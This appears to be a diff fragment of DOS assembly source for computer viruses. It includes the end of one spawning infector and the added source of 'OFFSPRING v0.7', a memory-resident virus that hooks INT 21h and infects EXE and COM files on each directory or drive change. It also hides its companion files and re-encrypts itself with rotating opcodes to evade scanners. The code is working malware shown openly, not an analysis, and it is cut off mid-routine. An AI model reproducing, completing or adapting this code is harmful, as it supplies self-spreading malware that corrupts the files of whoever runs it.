||||
int 21h
|
||||
|
||||
no_display:
|
||||
call install ; check if installed, if not install
|
||||
|
||||
|
||||
mov dx,offset file_dir -1 ; Execute the original EXE
|
||||
mov bx,offset par_blk ; For some damned reason
|
||||
mov ax,4b00h ; control is not returned back
|
||||
int 21h ; to the virus.
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov es,ds
|
||||
|
||||
mov ah,4ch ; Exit
|
||||
int 21h
|
||||
main endp
|
||||
|
||||
;---------------
|
||||
; INSTALL - Install the virus
|
||||
;---------------
|
||||
|
||||
Install Proc
|
||||
|
||||
mov ah,signal
|
||||
int 21h
|
||||
cmp ah,reply
|
||||
je no_install
|
||||
|
||||
|
||||
xor ax,ax
|
||||
mov es,ax
|
||||
mov ax,es: [21h*4+2]
|
||||
mov bx,es: [21h*4]
|
||||
mov ds: old21_seg,ax ; Store segment
|
||||
mov ds: old21_ofs,bx ; Store offset
|
||||
|
||||
cli
|
||||
|
||||
mov es: [21h*4+2],cs ; Save seg
|
||||
mov es: [21h*4],offset new21 ; off
|
||||
|
||||
sti
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov es,ds
|
||||
|
||||
mov dx,(offset vend+50)
|
||||
add dx,dx
|
||||
; Calculate memory needed
|
||||
mov cl,4 ; \ Divide by 16
|
||||
shr dx,cl ; /
|
||||
add dx,1 ;
|
||||
|
||||
mov ax,3100h ;
|
||||
int 21H ; Terminate Stay Resident
|
||||
ret
|
||||
|
||||
no_install:
|
||||
ret
|
||||
Install Endp
|
||||
|
||||
;------------------------
|
||||
; Resident - This is called from the INT 21h handler
|
||||
;-----------------------------
|
||||
resident proc
|
||||
|
||||
mov ax,ds ; Calculate segment of MCB
|
||||
dec ax ;
|
||||
mov ds,ax ;
|
||||
mov ds: [0001],word 0008h ; Mark DOS as the owner- so some
|
||||
; utilities won't id the file the virus
|
||||
; loaded from.
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
|
||||
mov word ptr vend,0 ; Clear ff/fn buffer
|
||||
lea si, vend ;
|
||||
lea di, vend+2 ;
|
||||
mov cx,22 ;
|
||||
cld ;
|
||||
rep movsw ;
|
||||
|
||||
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
|
||||
mov ah, 1ah
|
||||
lea dx, vend
|
||||
int 21h
|
||||
|
||||
|
||||
|
||||
|
||||
; Find first .EXE file
|
||||
mov ah, 4eh
|
||||
mov cx, 0 ; Set normal file attribute search
|
||||
lea dx, fname
|
||||
int 21h
|
||||
|
||||
jnc next_loop
|
||||
jmp end_prog
|
||||
|
||||
next_loop :
|
||||
|
||||
mov file_dir,0
|
||||
lea si,file_dir
|
||||
lea di,file_dir+1
|
||||
mov cx,77
|
||||
cld
|
||||
rep movsb
|
||||
|
||||
mov ah,47h
|
||||
xor dl,dl
|
||||
lea si,file_dir
|
||||
int 21h
|
||||
|
||||
cmp word ptr vend[f_sizel],0
|
||||
jne find_file
|
||||
|
||||
xor bx,bx
|
||||
lm3 :
|
||||
inc bx
|
||||
cmp file_dir[bx],0
|
||||
jne lm3
|
||||
|
||||
mov file_dir[bx],'\'
|
||||
inc bx
|
||||
|
||||
mov cx,13
|
||||
lea si,vend[f_name]
|
||||
lea di,file_dir[bx]
|
||||
cld
|
||||
rep movsb
|
||||
|
||||
xor bx,bx
|
||||
mov bx,1eh
|
||||
|
||||
loop_me:
|
||||
inc bx
|
||||
cmp byte ptr vend[bx], '.'
|
||||
jne loop_me
|
||||
|
||||
inc bx
|
||||
mov word ptr vend [bx],'OC'
|
||||
mov byte ptr vend [bx+2],'M'
|
||||
|
||||
|
||||
call write_file ; Write virus to file
|
||||
; Find next file
|
||||
find_file :
|
||||
|
||||
mov ah,4fh
|
||||
int 21h
|
||||
jnc next_loop
|
||||
|
||||
end_prog:
|
||||
exit :
|
||||
ret
|
||||
resident endp
|
||||
|
||||
;------------------------------------------------
|
||||
; Write file procedure - Creates the file, writes the file, closes the file
|
||||
;-----------------------------------------------
|
||||
write_file proc
|
||||
|
||||
|
||||
lea dx, vend[f_name]
|
||||
mov ah, 3ch ; Create file
|
||||
mov cx, 02h ; READ-ONLY
|
||||
or cx, 01h ; Hidden
|
||||
int 21h ; Call INT 21H
|
||||
jc no_infect ; If Error-probably already infected
|
||||
|
||||
mov bx,ax
|
||||
push dx
|
||||
|
||||
|
||||
call copy_mem ; copy virus just outside of code
|
||||
mov ah,2ch ;
|
||||
int 21h ; Get random number from clock
|
||||
lea di,vend+enc_data-204 ; offset of new copy of virus
|
||||
|
||||
mov [di-2],dx ; save encryption #
|
||||
|
||||
push bx
|
||||
call encrypt ; writing it to a file
|
||||
pop bx
|
||||
|
||||
mov cx, offset vend-100h ; # of bytes to write
|
||||
lea dx, vend+50 ; Offset of buffer
|
||||
mov ah, 40h ; -- our program in memory
|
||||
int 21h ; Call INT 21H function 40h
|
||||
|
||||
pop dx
|
||||
|
||||
mov ah, 3eh
|
||||
int 21h
|
||||
no_infect:
|
||||
ret ; Return
|
||||
write_file endp
|
||||
|
||||
;------------------------------------------------
|
||||
; Copies virus outside of code, to encrypt
|
||||
;------------------------------------------------
|
||||
copy_mem proc
|
||||
|
||||
|
||||
mov si,0100h ; si=0
|
||||
lea di,vend+50 ; destination
|
||||
mov cx,offset vend-100h ; bytes to move
|
||||
cld
|
||||
rep movsb
|
||||
|
||||
ret
|
||||
copy_mem endp
|
||||
|
||||
|
||||
end_encrypt dw 0000h ; Let's encrypt everything up to here
|
||||
|
||||
;------------------------------------------------
|
||||
; Encrypt
|
||||
;
|
||||
; Call with
|
||||
; di=offset of encrypted/decrypted data
|
||||
; dx=XOR value
|
||||
;
|
||||
; - First word to encrypt must be a free word.
|
||||
; This word will be used as the encryption base. Every time the virus
|
||||
; is encrypted a random number will be saved here.
|
||||
;
|
||||
;-----------------------------------------------
|
||||
|
||||
encrypt proc
|
||||
|
||||
mov cx,(offset end_encrypt - offset enc_data)/2
|
||||
E2:
|
||||
xor [di],dx ; Xor each word by dx
|
||||
inc di
|
||||
inc di ; increment index
|
||||
loop E2 ; loop while cx != 0
|
||||
|
||||
ret
|
||||
|
||||
encrypt endp
|
||||
|
||||
|
||||
|
||||
vend dw 0
|
||||
|
||||
cseg ends
|
||||
end start
|
||||
@@ -0,0 +1,714 @@
|
||||
;-------------------------------------------------------------------------
|
||||
; ************************************************
|
||||
; OFFSPRING v0.7 - BY VIROGEN - 04-26-93
|
||||
; ************************************************
|
||||
;
|
||||
; - Compatible with A86 v3.22
|
||||
;
|
||||
;
|
||||
; DISCLAIMER : Don't hold me responsible for any damages, or the release
|
||||
; of this virus. Use at your own risk.
|
||||
;
|
||||
; TYPE : Parastic Spawning Resident Encrypting (PSRhA)
|
||||
;
|
||||
;
|
||||
; VERSION : BETA 0.7
|
||||
;
|
||||
; INFECTION METHOD : Everytime DOS function 3Bh (change dir) or function
|
||||
; 0Eh (change drive) is called the virus will infect
|
||||
; up to 5 files in the current directory (the one
|
||||
; you're coming out of). It will first infect all
|
||||
; EXE files by creating a corresponding COM. Once
|
||||
; all EXE files have been infected, it then infects
|
||||
; COM files. All COM files created by a spawning
|
||||
; infection will have the read-only and hidden
|
||||
; attribute.
|
||||
;
|
||||
;
|
||||
; THE ENCRYPION OF THIS VIRUS :
|
||||
; Ok, this virus's encryption method is a simple
|
||||
; XOR. The encryption operands are changed directly.
|
||||
; Also, the operands are switched around, and the
|
||||
; bytes between them are constantly changed. The
|
||||
; call to the encryption routine changes, so the
|
||||
; address can be anywhere in a field of NOPs.
|
||||
; Not anything overly amazing, but it works.
|
||||
;
|
||||
;
|
||||
TITLE OFFSPRING_1
|
||||
.286
|
||||
CSEG SEGMENT
|
||||
ASSUME CS: CSEG, SS: CSEG, ES: CSEG
|
||||
|
||||
SIGNAL EQU 7DH ; Installation check
|
||||
REPLY EQU 0FCH ; reply to check
|
||||
CR EQU 0DH ; carraige return
|
||||
LF EQU 0AH ; line feed
|
||||
F_NAME EQU 1EH ; Offset of file name in FF/FN buffer
|
||||
F_SIZEL EQU 1CH ; File size - low
|
||||
F_SIZEH EQU 1AH ; File size - high
|
||||
F_DATE EQU 18H ; File date
|
||||
F_TIME EQU 16H ; File time
|
||||
MAX_INF EQU 05 ; Maximum files to infect per run
|
||||
MAX_ROTATION EQU 9 ; number of bytes in switch byte table
|
||||
PARASTIC EQU 01 ; Parastic infection
|
||||
SPAWN EQU 00 ; Spawning infection
|
||||
|
||||
ORG 100H ; Leave room for PSP
|
||||
|
||||
;------------------------------------------------------------------
|
||||
; Start of viral code
|
||||
;------------------------------------------------------------------
|
||||
|
||||
START:
|
||||
|
||||
DB 0BEH ; MOV SI,xxxx - Load delta offset
|
||||
SET_SI: DW 0000H
|
||||
|
||||
SKIP_DEC: JMP NO_DEC ; Skip decryption, changes into NOP on
|
||||
; replicated copies.
|
||||
M_SW1: NOP ; changs into a byte in op_set
|
||||
XCHG_1 DB 0BFH
|
||||
DW OFFSET ENC_DATA+2 ; Point to byte after encryption num
|
||||
; Switches positions with XCHG_2
|
||||
M_SW2: NOP ; changes into a byte in op_set
|
||||
XCHG_2 DB 090H
|
||||
ENC_NUM DW 9090H
|
||||
M_SW3: NOP
|
||||
|
||||
DI_INS: DW 0C783H ; ADD DI,0 - changes to ADD DI,xxxx
|
||||
ADD_DI: DW 9000H ; 00-NOP
|
||||
|
||||
CALL_ENC DB 0E8 ; Call encryption routine - address changes
|
||||
E_JMP DW (OFFSET END_ENCRYPT-OFFSET E_JMP+2)
|
||||
NO_DEC:
|
||||
JMP MAIN ; Jump to virus code
|
||||
|
||||
;-----------------------------------------------
|
||||
; Data area
|
||||
;-----------------------------------------------
|
||||
|
||||
ENC_DATA DW 0000 ; Start of encrypted data
|
||||
ROT_NUM DW 0000 ; Used when replacing bytes with OP_SET
|
||||
VTYPE DB 00 ; Spawning or Parastic Infection?
|
||||
INF_COUNT DB 0 ; How many files we have infected this run
|
||||
COM_NAME DB 'COMMAND.COM' ; obvious
|
||||
NEW_CODE DW 9090H ; ID bytes
|
||||
NEW_JMP DB 0E9H,00,00 ; New Jump
|
||||
FIRST_FIVE DB 5 DUP(0) ; original first five bytes of parasic inf.
|
||||
ADD_MEM DB 0 ; restore mem size? Yes,No
|
||||
|
||||
ID DB CR,LF,'(c)1993 negoriV',CR,LF ; my copyright
|
||||
VNAME DB CR,LF,'* Thank you for providing me and my offspring with a safe place to live *'
|
||||
DB CR,LF,'* Offspring I v0.07. *',CR,LF,'$'
|
||||
|
||||
FNAME1 DB '*.EXE',0 ; Filespec
|
||||
FNAME2 DB '*.COM',0 ; Filespec
|
||||
FNAME_OFF DW FNAME1 ; Offset of Filespec to use
|
||||
TIMES_INC DB 0 ; # of times encryption call incremented
|
||||
SL DB '\' ; Backslash for directory name
|
||||
FILE_DIR DB 64 DUP(0) ; directory of file we infected
|
||||
FILE_NAME DB 13 DUP(0) ; filename of file we infected
|
||||
OLD_DTA DD 0 ; old seg:off of DTA
|
||||
OLD21_OFS DW 0 ; Offset of old INT 21H
|
||||
OLD21_SEG DW 0 ; Seg of old INT 21h
|
||||
NEW_SEG DW 0 ; New segment in high mem
|
||||
|
||||
PAR_BLK DW 0 ; command line count byte -psp
|
||||
PAR_CMD DW 0080H ; Point to the command line -psp
|
||||
PAR_SEG DW 0 ; seg
|
||||
DW 05CH ; Use default FCB's in psp to save space
|
||||
PAR1 DW 0 ;
|
||||
DW 06CH ; FCB #2
|
||||
PAR2 DW 0 ;
|
||||
|
||||
;--------------------------------------------------------------------
|
||||
; INT 21h
|
||||
;---------------------------------------------------------------------
|
||||
|
||||
NEW21 PROC ; New INT 21H handler
|
||||
|
||||
CMP AH, SIGNAL ; signaling us?
|
||||
JNE NO
|
||||
MOV AH,REPLY ; yep, give our offspring what he wants
|
||||
JMP END_21
|
||||
NO:
|
||||
CMP AH, 3BH ; set dir func?
|
||||
JE RUN_RES
|
||||
CMP AH,0EH ; set disk func?
|
||||
JE RUN_RES
|
||||
|
||||
JMP END_21
|
||||
|
||||
RUN_RES:
|
||||
PUSHF
|
||||
PUSH AX ; Push regs
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH DI
|
||||
PUSH SI
|
||||
PUSH BP
|
||||
PUSH DS
|
||||
PUSH ES
|
||||
PUSH SP
|
||||
PUSH SS
|
||||
|
||||
PUSH CS
|
||||
POP DS
|
||||
|
||||
XOR AX,AX ; nullify ES
|
||||
MOV ES,AX
|
||||
|
||||
CMP ADD_MEM,1 ; Restore system conventional mem size?
|
||||
JE REL_MEM ;
|
||||
CMP AH,48H ; alloc. mem block? If so we subtract 3k from
|
||||
JE SET_MEM ; total system memory.
|
||||
|
||||
JMP NO_MEM_FUNC
|
||||
|
||||
SET_MEM:
|
||||
SUB WORD PTR ES: [413H],3 ; Subtract 3k from total sys mem
|
||||
INC ADD_MEM ; make sure we know to add this back
|
||||
JMP NO_MEM_FUNC
|
||||
REL_MEM:
|
||||
ADD WORD PTR ES: [413H],3 ; Add 3k to total sys mem
|
||||
DEC ADD_MEM
|
||||
|
||||
|
||||
NO_MEM_FUNC:
|
||||
MOV AH,2FH
|
||||
INT 21H ; Get the DTA
|
||||
|
||||
MOV AX,ES
|
||||
MOV WORD PTR OLD_DTA,BX
|
||||
MOV WORD PTR OLD_DTA+2,AX
|
||||
PUSH CS
|
||||
POP ES
|
||||
|
||||
CALL RESIDENT ; Call infection kernal
|
||||
|
||||
MOV DX,WORD PTR OLD_DTA
|
||||
MOV AX,WORD PTR OLD_DTA+2
|
||||
MOV DS,AX
|
||||
MOV AH,1AH
|
||||
INT 21H ; Restore the DTA
|
||||
|
||||
POP SS ; Pop regs
|
||||
POP SP
|
||||
POP ES
|
||||
POP DS
|
||||
POP BP
|
||||
POP SI
|
||||
POP DI
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
POPF
|
||||
END_21 :
|
||||
JMP [ DWORD PTR CS: OLD21_OFS] ; jump to original int 21h
|
||||
IRET
|
||||
NEW21 ENDP ; End of handler
|
||||
|
||||
|
||||
;------------------------------------------------------------
|
||||
; Main
|
||||
;-----------------------------------------------------------
|
||||
MAIN PROC
|
||||
|
||||
MOV WORD PTR [SI+OFFSET SKIP_DEC],9090H ; NOP the jump past decryption
|
||||
MOV BYTE PTR [SI+OFFSET SKIP_DEC+2],90H
|
||||
|
||||
MOV AX,DS: 002CH ; Get environment address
|
||||
MOV [SI+OFFSET PAR_BLK],AX ; Save in parameter block for exec
|
||||
|
||||
MOV [SI+OFFSET PAR1],CS ; Save segments for EXEC
|
||||
MOV [SI+OFFSET PAR2],CS
|
||||
MOV [SI+OFFSET PAR_SEG],CS
|
||||
|
||||
MOV AH,2AH ; Get date
|
||||
INT 21H
|
||||
|
||||
CMP DL,14 ; 14th?
|
||||
JNE NO_DISPLAY
|
||||
|
||||
MOV AH,09 ; Display message
|
||||
LEA DX,[SI+OFFSET ID]
|
||||
INT 21H
|
||||
|
||||
NO_DISPLAY:
|
||||
CALL INSTALL ; check if installed, if not install
|
||||
|
||||
CMP BYTE PTR [SI+OFFSET VTYPE],PARASTIC
|
||||
JE SKIP_THIS
|
||||
MOV BX,(OFFSET VEND+50) ; Calculate memory needed
|
||||
MOV CL,4 ; divide by 16
|
||||
SHR BX,CL
|
||||
INC BX
|
||||
MOV AH,4AH
|
||||
INT 21H ; Release un-needed memory
|
||||
|
||||
LEA DX,[SI+OFFSET FILE_DIR -1] ; Execute the original EXE
|
||||
LEA BX,[SI+OFFSET PAR_BLK]
|
||||
MOV AX,4B00H
|
||||
INT 21H
|
||||
|
||||
MOV AH,4CH ; Exit
|
||||
INT 21H
|
||||
|
||||
SKIP_THIS:
|
||||
|
||||
MOV CX,5 ; Restore original first
|
||||
ADD SI,OFFSET FIRST_FIVE ; five bytes of COM file
|
||||
MOV DI,0100H
|
||||
CLD
|
||||
REP MOVSB
|
||||
|
||||
MOV AX,0100H ; Simulate CALL return to 0100h
|
||||
PUSH AX
|
||||
RET
|
||||
|
||||
MAIN ENDP
|
||||
|
||||
;---------------
|
||||
; INSTALL - Install the virus
|
||||
;--------------
|
||||
|
||||
INSTALL PROC
|
||||
|
||||
MOV AH,SIGNAL
|
||||
INT 21H
|
||||
CMP AH,REPLY
|
||||
JE NO_INSTALL
|
||||
|
||||
MOV AX,CS
|
||||
DEC AX
|
||||
MOV DS,AX
|
||||
CMP BYTE PTR DS: [0],'Z' ;Is this the last MCB in
|
||||
;the chain?
|
||||
JNE NO_INSTALL
|
||||
|
||||
|
||||
MOV AX,DS: [3] ;Block size in MCB
|
||||
SUB AX,190 ;Shrink Block Size-quick estimate
|
||||
MOV DS: [3],AX
|
||||
|
||||
MOV BX,AX
|
||||
MOV AX,ES
|
||||
ADD AX,BX
|
||||
MOV ES,AX ;Find high memory seg
|
||||
|
||||
PUSH SI
|
||||
ADD SI,0100H
|
||||
MOV CX,(OFFSET VEND - OFFSET START)
|
||||
MOV AX,DS
|
||||
INC AX
|
||||
MOV DS,AX
|
||||
MOV DI,100H ; New location in high memory
|
||||
CLD
|
||||
REP MOVSB ; Copy virus to high memory
|
||||
|
||||
POP SI
|
||||
MOV DS: NEW_SEG,ES ;Save new segment
|
||||
|
||||
PUSH ES
|
||||
POP DS
|
||||
XOR AX,AX
|
||||
MOV ES,AX ; null es
|
||||
MOV AX,ES: [21H*4+2]
|
||||
MOV BX,ES: [21H*4]
|
||||
MOV DS: OLD21_SEG,AX ; Store segment
|
||||
MOV DS: OLD21_OFS,BX ; Store offset
|
||||
|
||||
CLI
|
||||
|
||||
MOV ES: [21H*4+2],DS ; Save seg
|
||||
LEA AX,[OFFSET NEW21]
|
||||
MOV ES: [21H*4],AX ; off
|
||||
|
||||
STI
|
||||
|
||||
NO_INSTALL:
|
||||
PUSH CS ; Restore regs
|
||||
POP DS
|
||||
MOV ES,DS
|
||||
|
||||
RET
|
||||
INSTALL ENDP
|
||||
|
||||
;------------------------
|
||||
; Resident - This is called from the INT 21h handler
|
||||
;-----------------------------
|
||||
RESIDENT PROC
|
||||
|
||||
MOV VTYPE,SPAWN
|
||||
MOV WORD PTR SET_SI,0000 ; SI=0000 on load
|
||||
MOV BYTE PTR DI_INS,83H ; ADD DI,0 op
|
||||
MOV WORD PTR ADD_DI,9000H ; 0090h for ADD DI,00
|
||||
MOV BYTE PTR INF_COUNT,0 ; null infection count
|
||||
MOV FNAME_OFF, OFFSET FNAME1 ; Set search for *.EXE
|
||||
|
||||
FIND_FIRST:
|
||||
MOV WORD PTR VEND,0 ; Clear ff/fn buffer
|
||||
LEA SI, VEND
|
||||
LEA DI, VEND+2
|
||||
MOV CX,22
|
||||
CLD
|
||||
REP MOVSW
|
||||
|
||||
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
|
||||
MOV AH, 1AH
|
||||
LEA DX, VEND
|
||||
INT 21H
|
||||
|
||||
MOV AH, 4EH ; Findfirst
|
||||
MOV CX, 0 ; Set normal file attribute search
|
||||
MOV DX, FNAME_OFF
|
||||
INT 21H
|
||||
|
||||
JNC NEXT_LOOP ; if still finding files then loop
|
||||
JMP END_PROG
|
||||
|
||||
NEXT_LOOP :
|
||||
CMP VTYPE, PARASTIC ; parastic infection?
|
||||
JE START_INF ; yes, skip all this
|
||||
|
||||
MOV AH,47H
|
||||
XOR DL,DL
|
||||
LEA SI,FILE_DIR
|
||||
INT 21H
|
||||
|
||||
CMP WORD PTR VEND[F_SIZEL],0 ; Make sure file isn't 64k+
|
||||
JE OK_FIND ; for spawning infections
|
||||
JMP FIND_FILE
|
||||
|
||||
OK_FIND:
|
||||
XOR BX,BX
|
||||
LM3 : ; find end of directory name
|
||||
INC BX
|
||||
CMP FILE_DIR[BX],0
|
||||
JNE LM3
|
||||
|
||||
MOV FILE_DIR[BX],'\' ; append backslash to path
|
||||
INC BX
|
||||
|
||||
MOV CX,13 ; append filename to path
|
||||
LEA SI,VEND[F_NAME]
|
||||
LEA DI,FILE_DIR[BX]
|
||||
CLD
|
||||
REP MOVSB
|
||||
|
||||
XOR BX,BX
|
||||
MOV BX,1EH
|
||||
|
||||
LOOP_ME: ; search for filename ext.
|
||||
INC BX
|
||||
CMP BYTE PTR VEND[BX], '.'
|
||||
JNE LOOP_ME
|
||||
|
||||
INC BX ; change it to COM
|
||||
MOV WORD PTR VEND [BX],'OC'
|
||||
MOV BYTE PTR VEND [BX+2],'M'
|
||||
|
||||
|
||||
START_INF:
|
||||
|
||||
CMP VTYPE, PARASTIC ; parastic infection?
|
||||
JE PARASTIC_INF ; yes.. so jump
|
||||
|
||||
;--------------------------------------
|
||||
; Spawning infection
|
||||
|
||||
LEA DX, VEND[F_NAME]
|
||||
MOV AH, 3CH ; Create file
|
||||
MOV CX, 02H ; READ-ONLY
|
||||
OR CX, 01H ; Hidden
|
||||
INT 21H ; Call INT 21H
|
||||
JNC CONTIN ; If Error-probably already infected
|
||||
JMP NO_INFECT
|
||||
CONTIN:
|
||||
|
||||
INC INF_COUNT
|
||||
MOV BX,AX
|
||||
|
||||
JMP ENCRYPT_OPS
|
||||
;----------------------------------------
|
||||
; Parastic infection
|
||||
|
||||
PARASTIC_INF :
|
||||
|
||||
CMP VEND[F_SIZEh],400H
|
||||
JGE CONT_INF2
|
||||
JMP NO_INFECT
|
||||
|
||||
CONT_INF2:
|
||||
|
||||
LEA SI,VEND[F_NAME] ; Is Command.COM?
|
||||
LEA DI,COM_NAME
|
||||
MOV CX,11
|
||||
CLD
|
||||
REPE CMPSB
|
||||
|
||||
JNE CONT_INF0 ; Yes, don't infect
|
||||
JMP NO_INFECT
|
||||
|
||||
CONT_INF0:
|
||||
|
||||
MOV AX,3D02H ; Open file for reading & writing
|
||||
LEA DX,VEND[F_NAME] ; Filename in FF/FN buffer
|
||||
INT 21H
|
||||
|
||||
JNC CONT_INF1 ; error, skip infection
|
||||
JMP NO_INFECT
|
||||
|
||||
CONT_INF1:
|
||||
|
||||
|
||||
MOV BX,AX
|
||||
|
||||
MOV AH,3FH ; Read first five bytes of file
|
||||
MOV CX,05
|
||||
LEA DX,FIRST_FIVE
|
||||
INT 21H
|
||||
|
||||
CMP WORD PTR FIRST_FIVE,9090H
|
||||
JNE CONT_INF
|
||||
MOV AH,3EH
|
||||
INT 21H
|
||||
JMP NO_INFECT
|
||||
|
||||
CONT_INF:
|
||||
INC INF_COUNT
|
||||
MOV AX,4202H ; Set pointer to end of file, so we
|
||||
XOR CX,CX ; can find the file size
|
||||
XOR DX,DX
|
||||
INT 21H
|
||||
|
||||
;SUB AX,0100h ; Subtract PSP size
|
||||
MOV WORD PTR SET_SI,AX ; Change the MOV SI inst.
|
||||
MOV WORD PTR ADD_DI,AX ; ADD DI,xxxx
|
||||
MOV BYTE PTR DI_INS,81H ; ADD DI op
|
||||
|
||||
MOV AX,4200H
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
INT 21H
|
||||
|
||||
MOV AX,VEND[F_SIZEH]
|
||||
SUB AX,5
|
||||
MOV WORD PTR NEW_JMP+1,AX
|
||||
|
||||
|
||||
MOV AH,40H
|
||||
MOV CX,6
|
||||
LEA DX,NEW_CODE
|
||||
INT 21H
|
||||
|
||||
MOV AX,4202H
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
INT 21H
|
||||
|
||||
|
||||
ENCRYPT_OPS:
|
||||
|
||||
;-----------------------------
|
||||
; Change encryptions ops
|
||||
|
||||
PUSH BX
|
||||
|
||||
MOV AX,WORD PTR XCHG_1 ; Switch XCHG_1, and XCHG_2
|
||||
MOV BX,WORD PTR XCHG_2
|
||||
MOV WORD PTR XCHG_1,BX
|
||||
MOV WORD PTR XCHG_2,AX
|
||||
MOV AH, BYTE PTR XCHG_1+2
|
||||
MOV BH, BYTE PTR XCHG_2+2
|
||||
MOV BYTE PTR XCHG_1+2,BH
|
||||
MOV BYTE PTR XCHG_2+2,AH
|
||||
|
||||
XOR_DONE:
|
||||
|
||||
CHG_TWO:
|
||||
XOR CX,CX ; CX=0
|
||||
LEA DI,SW_BYTE1 ; DI->sw_byte1
|
||||
|
||||
CHG_REST:
|
||||
INC ROT_NUM ; increment rotation number
|
||||
MOV BX,ROT_NUM ; bx=rotation num
|
||||
MOV AH,OP_SET[BX] ; ah = new op code from set
|
||||
MOV BYTE PTR [DI],AH
|
||||
|
||||
CMP ROT_NUM,MAX_ROTATION ; max rotation num?
|
||||
JNE CHG_CNT ; no, chg_cnt
|
||||
MOV WORD PTR ROT_NUM,0 ; reset rotation num
|
||||
CHG_CNT:
|
||||
INC CX ; increment count
|
||||
CMP CX,1
|
||||
LEA DI,M_SW1
|
||||
JE CHG_REST
|
||||
CMP CX,2
|
||||
LEA DI,M_SW2
|
||||
JE CHG_REST
|
||||
CMP CX,3
|
||||
LEA DI,M_SW3
|
||||
JE CHG_REST
|
||||
CMP CX,4
|
||||
LEA DI,SW_BYTE1
|
||||
JE CHG_REST
|
||||
|
||||
CHG_THREE:
|
||||
XOR CX,CX
|
||||
LEA DI,SW_BYTE3
|
||||
CHG_FOUR:
|
||||
CMP BYTE PTR [DI],47H ; is first byte (of 3rd) 'INC DI'?
|
||||
MOV BX,1 ;
|
||||
JE MOV_POS ; Yes, so change it to the second
|
||||
CMP BYTE PTR [DI+1],47H ; is second byte 'INC DI'
|
||||
MOV BX,2 ;
|
||||
JE MOV_POS ; Yes, change it to the third
|
||||
XOR BX,BX ; Else, must be in final position
|
||||
MOV_POS: MOV WORD PTR [DI],9090H ; set all three bytes (of 3rd)
|
||||
MOV BYTE PTR [DI+2],90H ; to NOP
|
||||
MOV BYTE PTR [DI+BX],47H ; place 'INC DI' in necessary pos.
|
||||
|
||||
CMP BX,2
|
||||
JNE NO_CHANGE
|
||||
INC CX
|
||||
CMP CX,2
|
||||
LEA DI,SW_BYTE4
|
||||
JNE CHG_FOUR
|
||||
|
||||
NO_CHANGE:
|
||||
CMP BYTE PTR TIMES_INC,9
|
||||
JE INC_NUM
|
||||
INC WORD PTR B_WR
|
||||
INC WORD PTR E_JMP
|
||||
INC WORD PTR E_JMP
|
||||
INC TIMES_INC
|
||||
JMP D2
|
||||
INC_NUM:
|
||||
SUB WORD PTR B_WR,09
|
||||
SUB WORD PTR E_JMP,18
|
||||
MOV TIMES_INC,0
|
||||
|
||||
;-----------------------
|
||||
; Get random XOR number, save it, copy virus, encrypt code
|
||||
|
||||
D2:
|
||||
|
||||
MOV AH,2CH ;
|
||||
INT 21H ; Get random number from clock - millisecs
|
||||
|
||||
MOV WORD PTR XOR_OP+2,DX ; save encryption #
|
||||
|
||||
|
||||
MOV SI,0100H
|
||||
LEA DI,VEND+50 ; destination
|
||||
MOV CX,OFFSET VEND-100H ; bytes to move
|
||||
CLD
|
||||
REP MOVSB ; copy virus outside of code
|
||||
|
||||
|
||||
LEA DI,VEND+ENC_DATA-204 ; offset of new copy of virus
|
||||
CMP BYTE PTR VTYPE, PARASTIC
|
||||
JNE GO_ENC
|
||||
;add di,si
|
||||
|
||||
GO_ENC:
|
||||
CALL ENCRYPT ; encrypt new copy of virus
|
||||
|
||||
;----------------------------------------
|
||||
; Write and close new infected file
|
||||
|
||||
POP BX
|
||||
MOV CX, OFFSET VEND-100H ; # of bytes to write
|
||||
LEA DX, VEND+50 ; Offset of buffer
|
||||
MOV AH, 40H ; -- our program in memory
|
||||
INT 21H ; Call INT 21H function 40h
|
||||
|
||||
CMP VTYPE, PARASTIC ; parastic?
|
||||
JNE CLOSE ; no, don't need to restore date/time
|
||||
|
||||
MOV AX,5701H ; Restore data/time
|
||||
MOV CX,VEND[F_TIME]
|
||||
MOV DX,VEND[F_DATE]
|
||||
INT 21H
|
||||
|
||||
|
||||
CLOSE: MOV AH, 3EH
|
||||
INT 21H
|
||||
|
||||
|
||||
NO_INFECT:
|
||||
|
||||
; Find next file
|
||||
FIND_FILE :
|
||||
|
||||
CMP INF_COUNT, MAX_INF
|
||||
JE END_PROG
|
||||
MOV AH,4FH
|
||||
INT 21H
|
||||
JC END_PROG
|
||||
JMP NEXT_LOOP
|
||||
|
||||
|
||||
END_PROG:
|
||||
EXIT :
|
||||
CMP INF_COUNT,0 ; Start parastic infection on next run
|
||||
JNE FIND_DONE
|
||||
CMP VTYPE, PARASTIC ; Parastic infection done?
|
||||
JE FIND_DONE ; yes, we're finished
|
||||
MOV FNAME_OFF, OFFSET FNAME2 ; Point to new filespec
|
||||
MOV VTYPE, PARASTIC ; virus type = parastic
|
||||
JMP FIND_FIRST
|
||||
|
||||
|
||||
FIND_DONE:
|
||||
MOV VTYPE,SPAWN
|
||||
MOV FNAME_OFF, OFFSET FNAME1
|
||||
RET
|
||||
RESIDENT ENDP
|
||||
|
||||
END_ENCRYPT: ; Let's encrypt everything up to here
|
||||
OP_SET DB 90H ; NOP
|
||||
DB 40H ; INC AX
|
||||
DB 43H ; INC BX
|
||||
DB 48H ; DEC AX
|
||||
DB 4BH ; DEC BX
|
||||
DB 0FBH ; STI
|
||||
DB 0FCH ; CLD
|
||||
DB 4AH ; DEC DX
|
||||
DB 42H ; INC DX
|
||||
DB 14 DUP(090H)
|
||||
;------------------------------------------------
|
||||
; Encrypt/Decrypt Routine
|
||||
;-----------------------------------------------
|
||||
|
||||
ENCRYPT PROC
|
||||
CX_M DB 0B9H ; MOV CX
|
||||
B_WR DW (OFFSET END_ENCRYPT-OFFSET ENC_DATA)/2
|
||||
E2:
|
||||
SW_BYTE1: ; XOR [di],dx swaps positions with this
|
||||
NOP
|
||||
XOR_OP: XOR WORD PTR [DI],0666H ; Xor each word - number changes accordingly
|
||||
SW_BYTE3: ; INC DI changes position in these bytes
|
||||
INC DI
|
||||
NOP
|
||||
NOP
|
||||
SW_BYTE4: ; INC DI changes position in these bytes
|
||||
